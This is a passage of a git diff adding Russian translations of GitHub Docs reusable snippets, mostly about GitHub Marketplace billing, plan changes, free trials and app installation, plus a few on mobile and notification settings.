5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123344" +--- +1. В диалоговом окне нажмите кнопку **ОК**. diff --git a/translations/ru-RU/data/reusables/marketplace/cancel-free-trial-billing-settings.md b/translations/ru-RU/data/reusables/marketplace/cancel-free-trial-billing-settings.md new file mode 100644 index 000000000000..fc88cf6eb86f --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/cancel-free-trial-billing-settings.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1270a7b3cc6666575c7f0fae83a4a705b6096049 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123336" +--- +1. Рядом с бесплатной пробной версией, которую вы хотите отменить, используйте раскрывающийся список **Редактирование** и нажмите кнопку **Отменить план**. diff --git a/translations/ru-RU/data/reusables/marketplace/cancellation-clarification.md b/translations/ru-RU/data/reusables/marketplace/cancellation-clarification.md new file mode 100644 index 000000000000..5932e444331d --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/cancellation-clarification.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 215cf9e5768a4fde713e05d8a5fe2d9a28b36db0 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883839" +--- +Когда клиент отменяет подписку {% data variables.product.prodname_marketplace %}, GitHub не удаляет приложение автоматически, поэтому клиент может ожидать, что бесплатные функции будут функционировать по-прежнему. diff --git a/translations/ru-RU/data/reusables/marketplace/choose-new-plan.md b/translations/ru-RU/data/reusables/marketplace/choose-new-plan.md new file mode 100644 index 000000000000..3ee081c5f278 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/choose-new-plan.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 1d65976572eb368585010d0488ebf6519f1a7927 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123320" +--- +1. В разделе «Изменить план» используйте раскрывающееся меню и выберите новый план. + ![Раскрывающееся меню со списком всех доступных планов приложения](/assets/images/help/marketplace/marketplace-choose-new-plan.png) diff --git a/translations/ru-RU/data/reusables/marketplace/choose-new-quantity.md b/translations/ru-RU/data/reusables/marketplace/choose-new-quantity.md new file mode 100644 index 000000000000..503a9c2caab6 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/choose-new-quantity.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 92bb31e63e10e24d4b801074294ffb5b3ef18363 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881630" +--- +1. Если вы выбрали план единиц, введите новое количество. + ![Поле для ввода нового количества для плана единиц](/assets/images/help/marketplace/marketplace-new-quantity.png) diff --git a/translations/ru-RU/data/reusables/marketplace/choose-plan.md b/translations/ru-RU/data/reusables/marketplace/choose-plan.md new file mode 100644 index 000000000000..4b258e0e7d0e --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/choose-plan.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 1da02cb36ce34fcdcc58dd37c47d99049f5e9f62 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123296" +--- +1. На странице приложения в разделе «Ценообразование и настройка» щелкните тарифный план, который требуется использовать. + ![Список доступных тарифных планов приложения](/assets/images/help/marketplace/marketplace-choose-plan.png) diff --git a/translations/ru-RU/data/reusables/marketplace/complete-order-begin-installation.md b/translations/ru-RU/data/reusables/marketplace/complete-order-begin-installation.md new file mode 100644 index 000000000000..1c4f1188d447 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/complete-order-begin-installation.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 30e2460c0d56e5aa22c5432e4b5e26cc30e680fc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123291" +--- +1. Нажмите кнопку **Завершить заказ и начать установку**. + ![Кнопка «Завершить заказ и начать установку»](/assets/images/help/marketplace/marketplace-complete-order-begin-installation-button.png). diff --git a/translations/ru-RU/data/reusables/marketplace/confirm-install-account-org.md b/translations/ru-RU/data/reusables/marketplace/confirm-install-account-org.md new file mode 100644 index 000000000000..ee4c06c870ea --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/confirm-install-account-org.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 13d6b7698e917838a671d64a661e03f47fe9481d +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880255" +--- +1. В разделе «Данные для выставления счетов» используйте раскрывающееся меню «Переключить учетную запись для выставления счетов» и выберите организацию, в которой требуется установить приложение. + ![Раскрывающееся меню для переключения учетной записи для выставления счетов и имени и аватара выбранной организации](/assets/images/help/marketplace/marketplace-confirm-org.png) diff --git a/translations/ru-RU/data/reusables/marketplace/confirm-install-account-personal.md b/translations/ru-RU/data/reusables/marketplace/confirm-install-account-personal.md new file mode 100644 index 000000000000..9e0d85b116bd --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/confirm-install-account-personal.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5b26d16d974f68605362654fdee03d351b693c5a +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879820" +--- +1. В разделе «Данные для выставления счетов» убедитесь, что вы устанавливаете приложение для личной учетной записи. + ![Имя, аватар, текст «Личная учетная запись» и раскрывающееся меню для переключения учетной записи для выставления счетов](/assets/images/help/marketplace/marketplace-confirm-personal-account.png) diff --git a/translations/ru-RU/data/reusables/marketplace/downgrade-app-billing-settings.md b/translations/ru-RU/data/reusables/marketplace/downgrade-app-billing-settings.md new file mode 100644 index 000000000000..7846b18ea8fd --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/downgrade-app-billing-settings.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4eda8a510d22759030da8d29b8658c228c4ac1b3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123272" +--- +1. Рядом с приложением, для которого вы хотите понизить уровень, используйте раскрывающийся список **Редактировать** и нажмите кнопку **Изменить план** или **Отменить план**. + ![Изменение ссылки в разделе «Покупки в Marketplace» в разделе параметров выставления счетов личной учетной записи](/assets/images/help/marketplace/marketplace-edit-app-billing-settings.png) diff --git a/translations/ru-RU/data/reusables/marketplace/downgrade-marketplace-only.md b/translations/ru-RU/data/reusables/marketplace/downgrade-marketplace-only.md new file mode 100644 index 000000000000..35814576328d --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/downgrade-marketplace-only.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fdafeb44206b5aaf45187a6b1f360beaa5dc74ee +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881622" +--- +Отмена приложения или понижение уровня приложения до уровня «Бесплатный» не влияет на [другие платные подписки](/articles/about-billing-on-github) в {% data variables.product.prodname_dotcom %}. Чтобы прекратить действие всех платных подписок на {% data variables.product.prodname_dotcom %}, необходимо понизить уровень отдельно для каждой платной подписки. diff --git a/translations/ru-RU/data/reusables/marketplace/free-apps-encouraged.md b/translations/ru-RU/data/reusables/marketplace/free-apps-encouraged.md new file mode 100644 index 000000000000..b03281837289 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/free-apps-encouraged.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2cdee4a51105551ef17cf51f607b578e2231f369 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123259" +--- +Бесплатные приложения поддерживаются в {% data variables.product.prodname_marketplace %} и позволяют предлагать службы с открытым кодом. Если вы включаете в список платную версию приложения за пределами {% data variables.product.prodname_marketplace %}, при включении в список приложения в {% data variables.product.prodname_marketplace %}необходимо предложить по крайней мере один платный план. diff --git a/translations/ru-RU/data/reusables/marketplace/free-plan-note.md b/translations/ru-RU/data/reusables/marketplace/free-plan-note.md new file mode 100644 index 000000000000..990778363d21 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/free-plan-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 07c2803533ce5dd4ec7cc9c087810fb34edf74c9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123243" +--- +{% note %} + +**Примечание.** Если вы включаете приложение в листинг в {% data variables.product.prodname_marketplace %}, вы не можете добавить в листинг приложение с бесплатным тарифным планом, если вы предлагаете платную службу за пределами {% data variables.product.prodname_marketplace %}. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/marketplace/free-trials.md b/translations/ru-RU/data/reusables/marketplace/free-trials.md new file mode 100644 index 000000000000..4d6777ef66a7 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/free-trials.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5a862275abf2c354499114b190ddf6ff1e4692d9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123240" +--- +Если вы выберете платный план с бесплатной пробной версией, его можно отменить в любое время в течение срока действия бесплатной пробной версии, но вы автоматически утратите доступ к приложению. Платная подписка начнется в конце 14-дневного срока действия бесплатной пробной версии. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace). diff --git a/translations/ru-RU/data/reusables/marketplace/github_apps_preferred.md b/translations/ru-RU/data/reusables/marketplace/github_apps_preferred.md new file mode 100644 index 000000000000..da836826222a --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/github_apps_preferred.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fb84672af12f9e1bc2e9732a4057f2a8e2b126ef +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881614" +--- +Приложения GitHub — это официально рекомендуемый способ интеграции с GitHub, так как он предоставляет гораздо более детализированные разрешения на доступ к данным diff --git a/translations/ru-RU/data/reusables/marketplace/install-buy.md b/translations/ru-RU/data/reusables/marketplace/install-buy.md new file mode 100644 index 000000000000..3fb9a930e967 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/install-buy.md @@ -0,0 +1,2 @@ +1. Click **Install it for free**, **Buy with {% data variables.product.prodname_dotcom %}**, or **Try free for 14 days**. + ![Buy with {% data variables.product.prodname_dotcom %} button](/assets/images/help/marketplace/marketplace-buy-with-github-button.png) diff --git a/translations/ru-RU/data/reusables/marketplace/issue-plan-changes.md b/translations/ru-RU/data/reusables/marketplace/issue-plan-changes.md new file mode 100644 index 000000000000..c57eba2adeec --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/issue-plan-changes.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4e637fbb62ea8c29d41c0c2e39bde55a5b16fa44 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123211" +--- +1. Просмотрите сведения о новом плане и данных для выставления счетов, а затем щелкните **Выдача изменений плана**. + ![Сводная информация по старому плану, новый план и данные для выставления счетов, а также кнопка «Выдача изменений плана»](/assets/images/help/marketplace/marketplace-issue-plan-changes.png) diff --git a/translations/ru-RU/data/reusables/marketplace/launch-with-free.md b/translations/ru-RU/data/reusables/marketplace/launch-with-free.md new file mode 100644 index 000000000000..72665edccbdc --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/launch-with-free.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: aab890d7024892aa4b3b9b91ec6083607c02fa16 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881606" +--- +Вы можете запросить публикацию с проверкой или без нее. Запрос публикации без проверки позволяет быстро запустить бесплатную версию приложения. Если вы запрашиваете публикацию с проверкой, ваше описание будет обновлено с учетом индикатора событий Marketplace и всех платных тарифных планов после завершения проверки и подключения финансовых систем. diff --git a/translations/ru-RU/data/reusables/marketplace/marketplace-apps-only.md b/translations/ru-RU/data/reusables/marketplace/marketplace-apps-only.md new file mode 100644 index 000000000000..847c1546198f --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/marketplace-apps-only.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: ee48b3bd8731933879c946dd03288baca2bc7c64 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880263" +--- +{% note %} + +**Примечание.** Информация в этой статье применяется для установки и приобретения приложений только в {% data variables.product.prodname_marketplace %}. Дополнительные сведения о приложениях, приобретенных у интеграторов, см. в разделе [Сведения об интеграциях](/articles/about-integrations). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/marketplace/marketplace-billing-ui-requirements.md b/translations/ru-RU/data/reusables/marketplace/marketplace-billing-ui-requirements.md new file mode 100644 index 000000000000..534890cffe5a --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/marketplace-billing-ui-requirements.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: d7d401ed18395e4dd30f45df07e850338fa43da9 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145123187" +--- +- Для клиентов, которые отменяют платный план, приобретенный из {% data variables.product.prodname_marketplace %}, уровень должен быть автоматически понижен до бесплатного плана приложения (если он существует). {% data reusables.marketplace.cancellation-clarification %} Настоятельно рекомендуется разрешить клиентам повторно включить предыдущий план. +- Клиенты должны иметь возможность обновить пользовательский интерфейс приложения, если вы указали [URL-адрес обновления](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/#about-upgrade-urls) в следующем формате: `https://www.github.com/marketplace//upgrade//` +- Клиенты должны иметь возможность изменять пользователей, которые имеют доступ к вашему приложению с веб-сайта вашего приложения, если они приобрели рабочие места (тарифный план с оплатой за единицу) или план предлагает неограниченное число участников совместной работы. +- Клиенты должны сразу увидеть следующие изменения учетной записи в разделе параметров выставления счетов, профиля или учетной записи веб-сайта приложения: + - Текущий план и цена. + - Приобретены новые планы. + - Повышение уровня, понижение уровня, отмена и количество оставшихся дней бесплатной пробной версии. + - Изменения циклов выставления счетов (ежемесячно или ежегодно). + - Использование и оставшиеся ресурсы для планов с фиксированной ставкой и планов с оплатой за единицу. Например, если тарифный план предусматривает оплату за единицу, на сайте вашего приложения должен отображать используемые и доступные единицы. diff --git a/translations/ru-RU/data/reusables/marketplace/marketplace-double-purchases.md b/translations/ru-RU/data/reusables/marketplace/marketplace-double-purchases.md new file mode 100644 index 000000000000..b5878c1356c3 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/marketplace-double-purchases.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: be5425babcb4b686ba3ac1bfb45bb2eb3d9fcf0d +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145123184" +--- +{% warning %} + +**Примечание.** В текущей версии {% data variables.product.prodname_marketplace %} клиент может приобрести приложение с помощью {% data variables.product.prodname_marketplace %}, если у него уже есть существующая учетная запись, приобретенная на веб-сайте приложения. Если вы видите, что у вас уже есть учетная запись, настроенная для клиента, который приобрел приложение, сообщите о "дубликате" покупки в [службу поддержки GitHub](https://github.com/contact). + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/marketplace/marketplace-failed-purchase-event.md b/translations/ru-RU/data/reusables/marketplace/marketplace-failed-purchase-event.md new file mode 100644 index 000000000000..43f7cf9addff --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/marketplace-failed-purchase-event.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 744983c086ce7f67bb25cd9508e080ceb12ea517 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123179" +--- +В случае, если клиент обновляет свой план и платеж завершается ошибкой, GitHub отменяет подписку {% data variables.product.prodname_marketplace %} до предыдущего состояния. GitHub также отправит клиенту сообщение электронной почты, чтобы сообщить об ошибке и разрешить клиенту попытаться повторить попытку. Вы получите веб-перехватчик с действием `changed`, которое запрашивает возврат к предыдущему плану. diff --git a/translations/ru-RU/data/reusables/marketplace/marketplace-malicious-behavior.md b/translations/ru-RU/data/reusables/marketplace/marketplace-malicious-behavior.md new file mode 100644 index 000000000000..f83d09b653dc --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/marketplace-malicious-behavior.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: d8fe6e8b3f7d11c7de1f6470e057aa4635c47c07 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123171" +--- +{% note %} + +**Примечание.** Если вы обнаружили спам {% data variables.product.prodname_marketplace %} покупок или другое вредоносное поведение, заполните форму [сообщения о нарушении](https://github.com/contact/report-abuse), где следует указать дополнительные сведения о пользователей. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/marketplace/marketplace-org-perms.md b/translations/ru-RU/data/reusables/marketplace/marketplace-org-perms.md new file mode 100644 index 000000000000..c34717da5e0b --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/marketplace-org-perms.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: bd68db77108f182c51bc1bcb4e7b702fe75737d7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123155" +--- +{% tip %} + + **Совет.** Если приложению требуется доступ на уровне организации, то в этом случае только владелец организации может приобрести, установить или отменить приложение, а также управлять выставлением счетов за приложение для организации. Если приложению не требуется доступ на уровне организации, администратор репозитория может устанавливать и удалять приложение. + +{% endtip %} diff --git a/translations/ru-RU/data/reusables/marketplace/marketplace-pricing-free-trials.md b/translations/ru-RU/data/reusables/marketplace/marketplace-pricing-free-trials.md new file mode 100644 index 000000000000..053cbf5f791a --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/marketplace-pricing-free-trials.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: faf8e445d7229b3b5469d6a671be512c0029a7bf +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123152" +--- +Вы можете бесплатно предлагать свое приложение в течение 14 дней в качестве бесплатной пробной версии. Бесплатные пробные версии автоматически преобразуются в платную подписку через 14 дней, если клиент не отменит подписку до истечения срока действия бесплатной пробной версии. Выберите «Включить 14-дневную бесплатную пробную версию для этого плана», чтобы предложить бесплатную пробную версию. diff --git a/translations/ru-RU/data/reusables/marketplace/review-app-perms-install.md b/translations/ru-RU/data/reusables/marketplace/review-app-perms-install.md new file mode 100644 index 000000000000..baf4cfffdf14 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/review-app-perms-install.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 407574f3a129575da3a2d12ce1a83c8ba071823f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123131" +--- +1. Просмотрите разрешения на доступ приложения и нажмите кнопку **Установить**. diff --git a/translations/ru-RU/data/reusables/marketplace/select-installation-repos.md b/translations/ru-RU/data/reusables/marketplace/select-installation-repos.md new file mode 100644 index 000000000000..2c08f1847519 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/select-installation-repos.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 318a75271da501e59d74c9cc3be70b2078fd22af +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123128" +--- +1. Если вы решили предоставить приложению доступ к ограниченным репозиториям вместо всех репозиториев, введите имя каждого репозитория, к которому вы хотите предоставить доступ для приложения, а затем щелкните имя репозитория, чтобы выбрать его. + ![Поле для выбора репозиториев, к которым вы хотите предоставить доступ для приложения](/assets/images/help/marketplace/marketplace-select-repo-field.png) diff --git a/translations/ru-RU/data/reusables/marketplace/unverified-apps.md b/translations/ru-RU/data/reusables/marketplace/unverified-apps.md new file mode 100644 index 000000000000..7683622dc36b --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/unverified-apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 812927b3840c5f132d4903efe432e51c252ee931 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879892" +--- +Непроверенные приложения предлагаются только в рамках бесплатных планов. Чтобы вывести список платных планов, необходимо отправить проверенное приложение. diff --git a/translations/ru-RU/data/reusables/marketplace/upgrade-app-billing-settings.md b/translations/ru-RU/data/reusables/marketplace/upgrade-app-billing-settings.md new file mode 100644 index 000000000000..15bc52e1af22 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/upgrade-app-billing-settings.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b5e2217f476048d8484fd52efed7a3993a83e960 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880939" +--- +1. Рядом с приложением, которое вы хотите обновить, используйте раскрывающийся список **Редактирование** и нажмите кнопку **Изменить план**. + ![Изменение раскрывающегося списка в разделе «Покупки в Marketplace» в разделе параметров выставления счетов личной учетной записи](/assets/images/help/marketplace/marketplace-edit-app-billing-settings.png) diff --git a/translations/ru-RU/data/reusables/marketplace/visit-marketplace.md b/translations/ru-RU/data/reusables/marketplace/visit-marketplace.md new file mode 100644 index 000000000000..09491fdc052c --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/visit-marketplace.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2dfdd1a7e9570e4a47286de1cbc958022588474d +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882974" +--- +1. В верхней части любой страницы щелкните **Marketplace**. + ![Ссылка Marketplace в глобальном меню навигации в верхней части каждой страницы](/assets/images/help/marketplace/marketplace-link-global-navigation.png) diff --git a/translations/ru-RU/data/reusables/mobile/about-mobile.md b/translations/ru-RU/data/reusables/mobile/about-mobile.md new file mode 100644 index 000000000000..943039b2532b --- /dev/null +++ b/translations/ru-RU/data/reusables/mobile/about-mobile.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 60982d278ddacf646a04c59b057b7f876cf1495d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123104" +--- +{% data variables.product.prodname_mobile %} доступен как приложение Android и iOS. diff --git a/translations/ru-RU/data/reusables/mobile/push-notifications-on-ghes.md b/translations/ru-RU/data/reusables/mobile/push-notifications-on-ghes.md new file mode 100644 index 000000000000..e600aca17384 --- /dev/null +++ b/translations/ru-RU/data/reusables/mobile/push-notifications-on-ghes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0bc628d7fcd2e2b7a72b866f653409e8dfada7d1 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880367" +--- +{% data variables.product.prodname_ghe_server %} использует фоновое получение для поддержки push-уведомлений без отправки сведений о вас в стороннюю службу, поэтому вы можете столкнуться с задержкой при получении push-уведомлений. diff --git a/translations/ru-RU/data/reusables/notifications-v2/custom-notification-types.md b/translations/ru-RU/data/reusables/notifications-v2/custom-notification-types.md new file mode 100644 index 000000000000..91e407ac08af --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications-v2/custom-notification-types.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a58ac1efeb08c3c10884942df4d8b86d3638ce93 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109448" +--- +проблемы, запросы на вытягивание, выпуски, оповещения системы безопасности или обсуждения diff --git a/translations/ru-RU/data/reusables/notifications-v2/email-notification-caveats.md b/translations/ru-RU/data/reusables/notifications-v2/email-notification-caveats.md new file mode 100644 index 000000000000..1f0a4400ae62 --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications-v2/email-notification-caveats.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 453751376b98fad88cd110eda5357cb2b7781714 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123080" +--- +Вы будете получать уведомления только в том случае, если в параметрах уведомлений выбрано получение уведомлений по электронной почте. + +{% ifversion fpt or ghec %} {% data reusables.user-settings.verify-org-approved-email-domain %} {% endif %} diff --git a/translations/ru-RU/data/reusables/notifications-v2/manage-notifications.md b/translations/ru-RU/data/reusables/notifications-v2/manage-notifications.md new file mode 100644 index 000000000000..fd0f83386e44 --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications-v2/manage-notifications.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4818d65489b278c40fdef0d7a9bfb6d420f2b4c8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123067" +--- +1. На левой боковой панели в списке репозиториев используйте раскрывающийся список «Управление уведомлениями», чтобы щелкнуть **Параметры уведомлений**. + ![Параметры раскрывающегося меню «Управление уведомлениями»](/assets/images/help/notifications-v2/manage-notifications-options.png) diff --git a/translations/ru-RU/data/reusables/notifications-v2/notifications-inbox-required-setting.md b/translations/ru-RU/data/reusables/notifications-v2/notifications-inbox-required-setting.md new file mode 100644 index 000000000000..6d87fc9aa531 --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications-v2/notifications-inbox-required-setting.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 951b098714d230ed2f3e523db2cce49ac5e8697c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123059" +--- +Чтобы использовать папку для входящих уведомлений в {% data variables.product.prodname_dotcom %} и {% data variables.product.prodname_mobile %}, необходимо включить веб-уведомления и мобильные уведомления в разделе параметров уведомлений. diff --git a/translations/ru-RU/data/reusables/notifications/access_notifications.md b/translations/ru-RU/data/reusables/notifications/access_notifications.md new file mode 100644 index 000000000000..1072167b8c85 --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications/access_notifications.md @@ -0,0 +1,2 @@ +1. In the upper-right corner of any page, click {% octicon "bell" aria-label="The notifications bell" %}. +![Notification indicating any unread message](/assets/images/help/notifications/notifications_general_existence_indicator.png) diff --git a/translations/ru-RU/data/reusables/notifications/access_watching.md b/translations/ru-RU/data/reusables/notifications/access_watching.md new file mode 100644 index 000000000000..3d25dc2a4d22 --- /dev/null +++ 